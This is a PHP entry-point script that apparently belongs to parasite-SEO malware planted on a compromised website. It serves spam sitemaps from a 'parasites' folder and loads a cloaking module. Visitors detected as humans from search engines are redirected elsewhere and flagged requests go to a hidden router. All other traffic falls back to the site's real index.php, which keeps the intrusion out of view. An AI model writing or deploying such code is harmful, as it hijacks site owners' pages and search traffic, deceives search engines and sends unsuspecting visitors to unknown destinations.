<?php
$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$request_path = parse_url($request_uri, PHP_URL_PATH);
$query_string = parse_url($request_uri, PHP_URL_QUERY);

$exceptions = array(
    '/admin/',
    '/administrator/',
    '/cache/',
    '/tmp/',
    '/temp/',
    '/logs/',
    '/assets/',
    '/static/',
    '/media/',
    '/uploads/',
    '/wp-admin/',
    '/wp-content/',
    '/wp-includes/',
);

$is_exception = false;
foreach ($exceptions as $exception) {
    if (strpos($request_path, $exception) === 0) {
        $is_exception = true;
        break;
    }
}

$static_extensions = array('php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'xml', 'txt', 'pdf');
$is_static_file = false;
foreach ($static_extensions as $ext) {
    if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) {
        $is_static_file = true;
        break;
    }
}

if (preg_match('/^sitemap.*\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) {
    require_once __DIR__ . '/parasites/sitemap.php';
    exit();
}

if (!$is_exception && !$is_static_file) {
    require_once __DIR__ . '/parasites/cloaking.php';
    
    $clean_path = trim($request_path, '/');
    
    if (isset($cloaker) && $cloaker->is_human_from_search) {
        header('Location: ' . $cloaker->getRedirectUrl());
        exit();
    } elseif (isset($blocked) && $blocked) {
        $clean_path = '/' . $clean_path;
        require_once __DIR__ . '/parasites/router.php';
        exit();
    }
}

// 降级处理：直接加载index.php或404
if (file_exists(__DIR__ . '/index.php')) {
    require __DIR__ . '/index.php';
} else {
    http_response_code(404);
    echo 'Page not found';
}